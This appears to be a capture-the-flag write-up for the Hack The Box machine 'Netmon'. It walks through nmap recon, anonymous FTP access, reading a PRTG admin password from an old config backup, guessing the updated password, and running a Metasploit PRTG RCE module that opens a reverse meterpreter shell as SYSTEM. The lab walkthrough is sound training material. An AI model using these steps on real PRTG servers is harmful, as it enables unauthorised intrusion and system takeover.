> For the complete documentation index, see [llms.txt](https://writeups.greatmoves.xyz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.greatmoves.xyz/hackthebox/netmon.md).

# Netmon

Write up for the HTB machine 'Netmon'

## 1. Initial recon

### 1.1. nmap

`nmap -sC -sV 10.10.10.152`

```
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-03-19  12:18AM                 1024 .rnd
| 02-25-19  10:15PM       <DIR>          inetpub
| 07-16-16  09:18AM       <DIR>          PerfLogs
| 02-25-19  10:56PM       <DIR>          Program Files
| 02-03-19  12:28AM       <DIR>          Program Files (x86)
| 02-03-19  08:08AM       <DIR>          Users
|_02-25-19  11:49PM       <DIR>          Windows
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_clock-skew: mean: -22s, deviation: 0s, median: -22s
| smb2-time: 
|   date: 2023-05-04T05:08:34
|_  start_date: 2023-05-04T04:56:57
```

## 2. user.txt

from the nmap scan we can see that anonymous ftp login is allowed, meaning we can ftp into the machine without any credentials so we can simply run `ftp 10.10.10.152` and input the credentials `anonymous:anonymous` to log in. from there we can navigate to our user flag at `/Users/Public/user.txt` and then run `get user.txt` to download the file and read the flag.

## 3. root.txt

Looking at the web application in the browser we can see `PRTG Network Monitor` is running with a login. so let's enumerate the file system with our ftp access to try and find some credentials.

from ftp we are able to find the directory `/ProgramData/paessler/PRTG Network Monitor`

downloading the 3 configuration files

```
PRTG Configuration.dat
PRTG Configuration.old
PRTG Configuration.old.bak
```

we are able to enuerate a username `prtgadmin` and also find a password in `PRTG Configuration.old.bak` which is `PrTg@dmin2018`

Trying the credentials `prtgadmin:PrTg@dmin2018` in the web app don't work :(

fortunate for us the admin of this site isn't very good with their password management so we can easily guess `PrTg@dmin2019` as the new password (considering `PrTg@dmin2018` came from the old configuration), and good news for us, that works.

### 3.1. metasploit

searching the version of the software `prtg network 18.1.37.13946` on the dashboard of the web application we can see that there is an RCE vulnerability.

spinning up `msfconsole` we simply run the commands

```
search prtg
use 0
set admin_password PrTg@dmin2019
set rhosts 10.10.10.152
set lhosts YOUR_IP
run
```

once we have our meterpreter shell we can run the commands

```
shell
whoami
```

which will reveal that we are `nt authority\system`

the root flag can be found at `C:\Users\Administrator\Desktop` and read using `type "root.txt"`